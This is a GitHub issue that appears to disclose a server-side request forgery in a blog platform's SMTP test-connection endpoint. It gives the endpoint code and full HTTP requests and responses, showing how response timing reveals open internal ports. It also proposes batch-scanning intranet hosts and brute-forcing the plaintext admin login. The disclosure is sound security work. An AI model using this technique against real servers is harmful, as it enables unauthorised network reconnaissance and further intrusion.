

New issue

[Jump to bottom](#)

## SSRF vulnerability exists at the SMTP configuration, which can detect the server intranet #806

🔒 Closed Jayway007 opened this issue on Apr 29, 2020 · 0 comments

Labels

kind/support

Jayway007 commented on Apr 29, 2020

1、Because the password of the login account of the system background is transmitted in plain text, it can easily enter the background through brute force cracking :

2、The problem lies in the STMP server configuration , which can specify host address and port

10.164.152.233:8090/admin/index.html#/system/options

Halo Dashboard仪表盘文章页面附件评论外观用户系统

首页 / 系统 / 博客设置

常规设置SEO 设置文章设置评论设置附件设置SMTP 服务其他设置

发信设置发送测试

是否启用:  
☒

SMTP 地址:

发送协议:

SSL 端口:

邮箱账号:

邮箱密码:

发件人:

保存

3、There is a hidden testConnection () interface in the code to test the connectivity of the mailbox server

```
@PostMapping("test/connection")
@ApiOperation("Test connection with email server")
@DisableOnCondition
public BaseResponse<String> testConnection() {
    mailService.testConnection();
    return BaseResponse.ok("您和邮箱服务器的连接通畅");
}
```

4、It is a javaMailSender that depends on springframework:

```
@Override
public void testConnection() {
    JavaMailSender javaMailSender = getMailSender();
    if (javaMailSender instanceof JavaMailSenderImpl) {
        JavaMailSenderImpl mailSender = (JavaMailSenderImpl) javaMailSender;
        try {
            mailSender.testConnection();
        } catch (MessagingException e) {
            throw new EmailException("无法连接到邮箱服务器，请检查邮箱配置。[" + e.getMessage() + "]", e);
        }
    }
}
```

5、So you can test through this interface, write the address as 127.0.0.1, When the server port is open, the corresponding time is shorter: 20millis:

POST /api/admin/maills/test/connection HTTP/1.1  
Host: 10.164.152.233:8090  
Content-Length: 65  
Admin-Authorization: ae1e3bcce8f04bf6a59fe6ad75d84e15  
Accept: application/json, text/plain, \*/\*  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36  
Content-Type: application/json; charset=UTF-8  
Origin: http://10.164.152.233:8090  
Referer: http://10.164.152.233:8090/admin/index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Connection: close  
  
{ "to": "jaywayding@hotmail.com", "subject": "ssrf", "content": "test" }

HTTP/1.1 500 Internal Server Error  
Connection: close  
Access-Control-Allow-Origin: http://10.164.152.233:8090  
Access-Control-Allow-Headers: Content-Type, ADMIN-Authorization, API-Authorization  
Access-Control-Allow-Credentials: true  
Content-Type: application/json  
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS  
Access-Control-Max-Age: 3600  
Date: Wed, 29 Apr 2020 07:36:29 GMT  
  
{ "status": 500, "message": "巽豹辟码映饒錄件倍纓辨消鐸" 標榜効 効 鎖ヲ倍纓遍麻細 . [Could not connect to SMTP host: 127.0.0.1, port: 80]", "devMessage": null, "data": null}

0 matches

Done

0 matches

563 bytes | 20 millis

6. The port is not open, the corresponding time is longer: 1000+millis:  
POST /api/admin/maills/test/connection HTTP/1.1  
Host: 10.164.152.233:8090  
Content-Length: 65  
Admin-Authorization: ae1e3bcce8f04bf6a59fe6ad75d84e15  
Accept: application/json, text/plain, \*/\*  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36  
Content-Type: application/json; charset=UTF-8  
Origin: http://10.164.152.233:8090  
Referer: http://10.164.152.233:8090/admin/index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Connection: close  
  
{ "to": "jaywayding@hotmail.com", "subject": "ssrf", "content": "test" }

HTTP/1.1 500 Internal Server Error  
Connection: close  
Access-Control-Allow-Origin: http://10.164.152.233:8090  
Access-Control-Allow-Headers: Content-Type, ADMIN-Authorization, API-Authorization  
Access-Control-Allow-Credentials: true  
Content-Type: application/json  
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS  
Access-Control-Max-Age: 3600  
Date: Wed, 29 Apr 2020 08:00:07 GMT  
  
{ "status": 500, "message": "巽豹辟码映饒錄件倍纓辨消鐸" 標榜効 効 鎖ヲ倍纓遍麻細 . [Couldn't connect to host, port: 127.0.0.1, 82: timeout -1]", "devMessage": null, "data": null}

0 matches

Done

0 matches

569 bytes | 1,030 millis

7. You can obtain the open ports of the server and other hosts on the intranet in batches according to the length of the echo time, and then carry out further attacks

Jayway007 added the kind/support label on Apr 29, 2020

ruibaby closed this as completed on Jul 17, 2020

Assignees

No one assigned

Labels

kind/support

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

